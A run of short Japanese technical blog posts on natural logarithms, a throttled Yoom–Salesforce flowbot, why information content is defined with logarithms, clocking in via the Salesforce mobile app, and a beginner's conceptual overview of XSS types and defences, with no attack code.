例えはともかく、ネイピア数を底に取る自然対数$ln(x)$を使うと他の底の指数関数も対数関数も表すことが出来る（指数関数の場合はネイピア数eそのものも動員しますが）。

こういった共通ファクター存在することが指数関数と対数関数の理解を深めるとともに、ネイピア数の特殊性を実感する手掛かりになりと思いました
Yoom 下記のフローボットが一度に大量に起動されていることを検知し、一時的にフローボットを停止しました。


:::note alert
```
下記のフローボットが一度に大量に起動されていることを検知し、一時的にフローボットを停止しました。

============
フローボット名：汎用マスタ一(得意先)の追加/更新(Salesforceからの連携)
テンプレートURL：https://yoom.fun/xxxxxxxx4b29-bccd-8d3ecd495c8a/workflow_templates/10yyyy/edit
起動数：86
============
```
:::

処理の流れ

1. ジョブカン（得意先の新規作成、変更）をワークフローで申請
2. yoomを使ってSalesforceに得意先を追加、あるいは変更用のレコードを作成（指定日に変更）
3. Salesforceではスケジュールトリガーフローで指定日に変更用のレコードの内容を得意先に更新する
4. 上記で更新したレコードはジョブカンのマスターに反映させたいので、Yoom連携用のレコードを作成
5. Yoom連携用のレコードがあれば、ジョブカンの汎用マスターを新規作成するか編集します。

今回は得意先の担当者変更があって、86件の得意先を処理しました。
3、4のSalesforceの処理は問題なかったのですが、yoom側の処理でフローボットが大量？だったので処理が止まったようです。

今回は保留になったフローボットをハンドで少しずつ再起動させて対応。
さて、どうしたものか...

4の処理でレコードの作成をキューに入れて10件くらいずつ処理する？

何か考えないと...
なぜ情報量の定義にログ（Logarithm: 対数）が使われるのか？

情報量の定義にログ（対数）が使われていることをご存知でしょうか？一見すると難しそうな数学的概念ですが、実は情報の性質を直感的に表現し、数学的に便利に扱うための重要なツールであるということが発覚しました。この記事では、なぜ情報量にログが使われるのかを整理します。

### はじめに：TF-IDFとの出会い
そもそも、TF-IDF（Term Frequency-Inverse Document Frequency）という情報検索でよく使われる技術を学習している中で、ログの必要性に改めて気づいたことがきっかけで書いています。TF-IDFを理解する上で、情報量という概念が深く関わっており、その情報量を定義するためにログが使われていることを知りました。でもどうしてログを使う必要があるの？ということで、調べました。

### 情報量とは？「驚き」を数値化する

情報量とは、簡単に言うと「どれだけ驚いたか」を数値化したものです。普段当たり前に起きていることよりも、めったに起こらないことの方が、私たちに大きな「驚き」を与えますよね。この「驚き」を定量的に表すのが情報量です。

例えば、以下のような例を考えてみます。

*   **例1:** サイコロを振って「1」が出る（確率は1/6）。これは少し驚きがあります。
*   **例2:** 毎日必ず太陽が昇る（確率はほぼ1）。これは全く驚きません。

この例からもわかるように、**めったに起こらない出来事（確率が低い出来事）ほど、得られる情報量が多い**のです。

### なぜログを使うのか？情報量の定義に隠された理由

情報量は、出来事の確率に深く関係しています。確率が低いほど情報量が大きくなる関係を満たすために、数学的な道具としてログ関数が使われます。具体的に見ていきます。

#### (1) 確率が小さいほど情報量が大きくなる

情報量 $I(p)$ は、出来事の確率 $p$ が小さくなるほど大きくなる必要があります。ログ関数は、確率が小さくなるほど急激に大きくなる性質を持っています。この関係を数式で表すと以下のようになります。

$$
I(p) = -\log(p)
$$

この式によって、確率 $p$ が小さくなればなるほど、情報量 $I(p)$ が大きくなるという直感的な関係を表現できます。

#### (2) 独立した出来事の情報量を足し合わせられる（加法性）

もし、2つの独立した出来事（例えば、コインを2回投げる）が起こる場合、全体の情報量はそれぞれの情報量を足し合わせたものが望ましいです。確率が独立である場合、$P(A \cap B) = P(A) \times P(B)$ が成り立ちます。ログを使うと、この関係を簡単に足し算で表現できます。

$$
I(A \cap B) = -\log(P(A \cap B)) = -\log(P(A) \times P(B)) = -\log(P(A)) - \log(P(B)) = I(A) + I(B)
$$

このように、ログを用いることで、複雑な確率の計算を単純な足し算で扱うことができます。

#### (3) 対数の底で情報量の単位を調整

ログには底があります。情報理論では、通常、底として2（ビット単位で情報量を表す場合）や自然対数 $e$ が使われます。

*   底が2の場合:  $-\log_2(p)$ は、「その出来事を表すのに必要なビット数」と解釈できます。
*   底が $e$ の場合: 情報量は「ナット」という単位で表されます。

このように、対数の底を適切に選ぶことで、情報量を様々な単位で表現することができます。

### 具体例でさらに理解を深める

#### サイコロの例

サイコロを振ったとき、それぞれの目が出る確率は $1/6$ です。このときの情報量は、底が2のログを使うと以下のようになります。

$$
I(1/6) = -\log_2(1/6) \approx 2.585 \text{ ビット}
$$

つまり、「サイコロのどの目が出たか」を知るためには、約2.585ビットの情報が必要になる、と解釈できます。

#### 宝くじの例

もし宝くじが当たる確率が $1/10,000,000$ だったとしましょう。このときの情報量は、

$$
I(1/10000000) = -\log_2(1/10000000) \approx 23.25 \text{ ビット}
$$

となります。この結果からも、非常に起こりにくい出来事ほど、得られる情報量が大きくなることがわかります。

### まとめ：情報量をログで表現するメリット

情報量の定義にログが使われる理由は、以下の3つにまとめることができます。

1.  **確率が低い出来事ほど情報量が大きい**という直感的な関係を、自然に表現できる。
2.  **独立した出来事の情報量を単純に足し合わせる**ことができる（加法性）。
3.  **対数の底を変えることで、情報量の単位を柔軟に選択できる**。

ログ関数を使うことで、情報理論はシンプルな数式で表現でき、現実の通信や圧縮技術など、様々な分野で活用されています。

この記事を通して、情報量とログの関係について少しでも理解を深めていただけたら幸いです。
Salesforceモバイルアプリから勤怠打刻する方法

# はじめに

[Salesforceモバイルアプリ](https://apps.apple.com/jp/app/salesforce/id404249815)から勤怠打刻する方法について解説。

https://apps.apple.com/jp/app/salesforce/id404249815

# 方法

右下の`メニュー`→`すべての項目`→`勤怠打刻`で打刻できる。

# 補足

Web版同様、トップ画面で打刻できるようにして欲しい・・・。
簡単IT　クロスサイトスクリプティング（XSS）

## 概要
クロスサイトスクリプティング（XSS） とは、ウェブサイトにおけるセキュリティ脆弱性の一つで、攻撃者が悪意のあるスクリプト（主にJavaScript）を信頼されたウェブページに注入する攻撃手法です。この攻撃により、ユーザーがそのページを利用した際に不正なコードが実行され、個人情報の漏洩や不正操作が行われる危険性はあります。

### XSSの攻撃手法
XSS攻撃では、攻撃者が特定のスクリプトを仕込んだページやリンクをユーザーに閲覧させます。このとき、悪意のあるコードがユーザーのブラウザ上で実行され、以下のような被害を引き起こします：

* ユーザーの個人情報の盗難：
クッキーやセッションIDを奪われることで、なりすましが行われる。

* 不正操作の実行：
ユーザーの代わりにフォーム送信や設定変更を行われる。

* 表示の改ざん：
偽情報の表示やフィッシングサイトへの誘導。

### XSSの種類
XSS攻撃には主に以下の3種類があります。
1. ストアドXSS（Stored XSS）
攻撃者が悪意のあるスクリプトをサーバーに保存し、他のユーザーがそのスクリプトを含むページを閲覧した際にコードが実行されるタイプの攻撃です。
例:掲示板やコメント欄に仕掛けたスクリプトが保存され、他の訪問者がそれを表示すると実行される。

2. リフレクトXSS（Reflected XSS）
攻撃者が細工したリンクやリクエストをユーザーに送信し、スクリプトが即座に応答に反映されて実行される攻撃です。
例:攻撃者が細工したURL（例：検索クエリ）をクリックさせ、悪意のあるスクリプトが実行される。

3. DOM型XSS（DOM-based XSS）
サーバーを介さず、ブラウザ側で実行されるJavaScriptが操作される攻撃です。主にクライアントサイドのコード処理に依存します。
例:フォームやURLパラメータで渡された値が動的にDOMに反映され、その値が不正なスクリプトを含む場合に発生します。

### XSSの防止方法
1. 入力検証
ユーザーが入力する内容を事前にチェックし、不正なスクリプトを除去または無効化する。
特殊文字（例：<, >, ", ' など）の除去またはエスケープ処理を行う。

2. 出力エスケープ
動的に生成されるコンテンツをHTMLに出力する際、エスケープ処理を行い、ブラウザがスクリプトとして解釈しないようにする。
例：HTMLエスケープ、JavaScriptエスケープ。

3. コンテンツセキュリティポリシー（CSP）
CSPを設定して、外部の不正なスクリプトの実行や不審なリソースの読み込みを防ぐ。
サーバーでCSPヘッダーを追加する。

4. HTTPOnlyクッキーの利用
クッキーにHttpOnly属性を設定することで、JavaScriptによるクッキーの読み取りを防止する。

## 最後
クロスサイトスクリプティング（XSS）は、ウェブ開発者やサービス運営者にとって大きなリスクとなる脆弱性です。しかし、適切な入力チェックやエスケープ処理、CSPなどの対策を実施することで、多くの攻撃を防ぐことが可能です。

ウェブサイトを安全に保つため、常に最新のセキュリティ対策を適用しましょう。

初心者ですので、誤りがございましたら、ご指摘をおこなっております